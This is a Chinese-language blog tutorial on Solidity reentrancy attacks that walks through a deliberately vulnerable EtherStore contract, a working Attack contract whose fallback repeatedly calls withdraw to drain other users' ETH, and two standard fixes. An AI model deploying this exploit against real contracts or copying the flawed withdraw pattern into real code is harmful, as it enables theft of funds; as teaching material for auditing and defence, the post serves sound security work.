标签: #Web3 #BlockchainSecurity #Solidity #AI #Reentrancy


🩸 前言:当 ATM 机发疯的时候

想象一下,你在这个世界上有一台特殊的 ATM 机。
如果你去取 100 块钱,它的流程是这样的:

  1. 检查余额:看你卡里有没有 100 块。
  2. 吐钞:把 100 块吐给你。
  3. 扣款:把你账户里的余额减去 100 块。

听起来没问题?黑客的思路是这样的:
在步骤 2(吐钞)和步骤 3(扣款)之间,我大喊一声:“再给我取 100 块!”
因为步骤 3 还没执行,ATM 机觉得你余额还在,于是再次执行步骤 2
如此循环,直到提空 ATM 机的所有现金。

这就是 重入攻击 的本质。


🕳️ 一、 漏洞现场:一个典型的“提款机”合约

我们写一个简易的银行合约 EtherStore.sol。它允许用户存钱,并提现。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract EtherStore {
    mapping(address => uint256) public balances;

    // 存钱
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 取钱 (漏洞就在这里!)
    function withdraw() public {
        uint256 bal = balances[msg.sender];
        require(bal > 0, "No balance");

        // 1. 发送以太币 (Interaction)
        // 使用 .call 发送 ETH 会触发接收方的 fallback 函数
        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        // 2. 更新余额 (Effects)
        // 致命错误:钱发完了才扣余额!
        balances[msg.sender] = 0;
    }
}


🤖 二、 人机对决:谁先发现漏洞?

🧑‍💻 选手 A:人类黑客

人类黑客需要:

  1. 通读代码。
  2. 识别 call 函数。
  3. 检查状态变量 balances 的更新位置。
  4. 脑补调用流程,确认不符合 “Checks-Effects-Interactions” 模式。
    耗时:熟手约 1-5 分钟,新手可能看不出来。
🤖 选手 B:AI 安全审计员 (GPT-4 / Claude 3.5)

我们将上述代码直接喂给 AI,Prompt 只有一句:“审计这段 Solidity 代码的安全性。”

AI 的回答(秒回):

严重漏洞警告:重入攻击 (Reentrancy)
withdraw 函数中,合约先通过 msg.sender.call 发送以太币,然后才将余额 balances[msg.sender] 更新为 0。
攻击者可以创建一个恶意合约,在其 fallbackreceive 函数中再次调用 withdraw。由于余额尚未更新,第二次调用仍然会通过 require(bal > 0) 检查。

结果:AI 耗时 < 3 秒。
在标准化漏洞扫描上,AI 的效率已经对人类形成了降维打击。


⚔️ 三、 攻击复现:清空金库

既然 AI 指出了路,我们就来当一回“黑客”。
我们需要编写一个 Attack.sol 合约来配合攻击。

攻击原理图 (Mermaid):

1. 存入 1 ETH
2. 调用 withdraw

受害者逻辑

3. 触发 Fallback
4. 递归调用 withdraw

检查余额 > 0

发送 ETH (call)

攻击者 Fallback 函数

5. 更新余额 (太晚了)

循环直到掏空

攻击者合约

受害者合约 EtherStore

攻击合约代码:

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // 接收 ETH 时会自动触发
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            // 只要受害者合约里还有钱,就继续吸血!
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        // 1. 先存点钱进去,取得信任
        etherStore.deposit{value: 1 ether}();
        // 2. 开始提款,触发连环陷阱
        etherStore.withdraw();
    }
}

战况推演:

  1. 受害者合约里有 10 ETH(其他用户的钱)。
  2. 攻击者存入 1 ETH。
  3. 攻击者调用 attack() -> etherStore.withdraw()
  4. etherStore 发送 1 ETH 给 Attack
  5. Attack 收到钱,触发 fallback()
  6. fallback() 再次调用 etherStore.withdraw()
  7. 此时 etherStore 还没来得及把攻击者的余额清零!它以为攻击者还有 1 ETH。
  8. etherStore 再次 发送 1 ETH……
  9. 循环直到 etherStore 余额归零。

🛡️ 四、 防御:AI 给出的修复方案

不仅能攻,还能防。AI 给出了两种标准的修复方案:

方案 1:检查-生效-交互 (Checks-Effects-Interactions)

先改状态,再发钱。

function withdraw() public {
    uint256 bal = balances[msg.sender];
    require(bal > 0);

    // 1. 先扣钱 (Effects)
    balances[msg.sender] = 0;

    // 2. 再发钱 (Interactions)
    (bool sent, ) = msg.sender.call{value: bal}("");
    require(sent, "Failed to send");
}

方案 2:防重入锁 (ReentrancyGuard)

使用 OpenZeppelin 的修饰符。

// 引入 ReentrancyGuard
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract EtherStore is ReentrancyGuard {
    // 加上 nonReentrant 修饰符,同一个交易内禁止递归进入
    function withdraw() public nonReentrant {
        // ... 业务逻辑
    }
}


🎯 总结

Web3 的世界是残酷的。以前,你需要懂汇编、懂 EVM 才能发现深层漏洞。
现在,AI 极大地降低了“作恶”和“行善”的门槛

  • 对于开发者:在部署合约前,务必把代码丢给 AI 跑一遍审计。它不一定能发现所有逻辑 Bug,但像重入攻击这种经典漏洞,它一抓一个准。
  • 对于黑客:AI 正在成为最高效的“漏洞扫描器”。

Next Step:
不要只看文章。去 Remix IDE 上部署这两个合约(EtherStore 和 Attack),亲自体验一下余额瞬间归零的震撼。这是理解区块链安全最快的方式。

Logo

有“AI”的1024 = 2048,欢迎大家加入2048 AI社区

更多推荐